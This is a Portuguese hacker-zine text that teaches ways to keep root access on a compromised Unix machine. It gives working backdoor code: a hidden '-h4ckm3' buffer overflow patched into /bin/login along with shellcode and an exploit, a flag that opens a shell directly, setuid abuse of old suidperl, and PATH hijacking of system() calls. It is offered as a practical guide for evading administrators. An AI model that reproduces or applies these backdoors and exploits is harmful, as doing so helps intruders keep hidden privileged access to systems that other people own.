#########
# 1o. #
#########

Trata-se de escrever um exploit para um bug qquer de um prog non-suid.
Nao entendeu nada?? Assim... Voce ja deve ter escrito exploits de buffer
overflows para progs non-suid em quanto aprendia a fazer exploits com o
txt do Aleph1 naum??
Feito o exploit va ao sys 0wned e sete o prog com +s e c precisar mude o
owner dele para root. Assim qdo vc quizer voltar a tomar o root lah, basta
usar seu xploit e prontu!!!

#########
# 2a. #
#########

Atualize a bagacera lah...
Ah?? agora c pirou de vez!
Naum fiotinhu... seguinte...
Pegue por exemplo o SuidPerl. Hm? Q q tem? Pegue uma versaum bugzada
(5.003) e mude o numbah da versaum no source dele (lembrando q perl eh
opensource, voce encontra em ftp.gnu.org).
Agora mande pra lah e make install.
Preste Atencaum q em certos casos o root tira o atributo ug+s e muda
para go-rwx sendu assim ferra essa t3kn33k pois o maneh do root discobre a
farca rapidu, ou c nao discobre muda as permissoes novamente.
Outro detalhe... Para quem faz shell backdoors... Os bashs mais atuais
ja vem patcheados contra os famosos suid backdoors entao preste atencao qdo
for fazer uma dessas, seria bom usa essa t3kn33k neste caso tbm...

#########
# 3a. #
#########

Pegue o source da mesma versao do programa "vitima" e mecha nele,
colocando um bug exploitavel como por exemplo de buffer overflow.
Um exemplo manero pode ser:

char a[50];
if(strcmp(argv[1],"-h4ckm3")==0) {
printf("0x%x\n", (long)a );
strcpy(a,argv[2]);
}

Rlz heim??
Agora compile e reinsta-le o prog em cima do antigo. O exploit esta aqui.

<++> secret/xploit.c

#define PROG "/bin/login" // Coloque o prog ataquado aki!!!

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char buffer[82];

void main() {
int i;
long *long_ptr = (long *) buffer;

for (i = 0; i < 32; i++)
*(long_ptr + i) = 0xbffff9ac; //Mude aki o endereco do buffer vuln

for (i = 0; i < strlen(shellcode); i++)
buffer[i] = shellcode[i];

execl(PROG,PROG,"-h4ckm3",buffer,0);
}

<-->

Deu pra entender neh???

#########
# 4a. #
#########

Igual a anterior mas para os mais preguisosos.

if(strcmp(argv[1],"-h4ckm3")==0)
execl("/bin/sh", "sh", "-i", 0);

Sakou??? eh soh executa o prg com "-h4ckm3" e a shell eh aberta.

#########
# 5a. #
#########

Esse metodo eh mais criativo do que os outros e tambem pode ser usado em
casos separados para exploitar programas mau escritos.
Aki voce tambem conhecera este bug que ateh agora nao vi nenhum
documento relatando o problema.
Vamos aos fatos... Digamos que la no meio do programa vc encontra:

<++> secret/vuln.c
main() {
system("ls");
}
<-->

Note que o caminho completo do comando(/bin/ls) nao foi indicado. Entao
o system() vai procura o ls no $PATH e executa-lo.
Pois eh... Entao caso voce mude o $PATH para digamos somente "/tmp" o
system() nao vai encontrar nenhum ls.
E se nos criarmos um ls??? Boa ideia.

<++> secret/ls.c
main() {
execl("/bin/sh", "sh", "-i", 0);
}
<-->

Ta um pokinhu diferente neh?? =)
Compile como /tmp/ls e mude o $PATH para /tmp e vejamos o que acontece
qdo executarmos o programa vuln.

$ gcc ls.c -o /tmp/ls
$ PATH="/tmp"
$ ./vuln

Outra shell sera aberta ao rodar o prog vuln. Caso este tenha +s voce
vai ganhar nada mais do que uma rootshell. Que blza nao???
Ok... Agora c ja conhece a manha entao vamos ao que voce deve fazer...
Ta na kra neh?? Poe lah no meio algo como...

system("echo");

Qdo o prog for rodado normalmente aparecera soh uma linha em branca.
Para exploitar compile o ls.c como /tmp/echo e mude o $PATH.
Easy naum???

#######
# FiN #
#######

Essas backdoors nao sao muito comuns porque temos que baixar e mecher no
source dos progs o que eh um pouko mais trabalhoso do que simplesmente
copiar um /bin/sh com setuid. Porem estas backdoors sao muito dificeis de
serem encontradas pelo admin do systema e por outros hackers.
Thats all guys!!!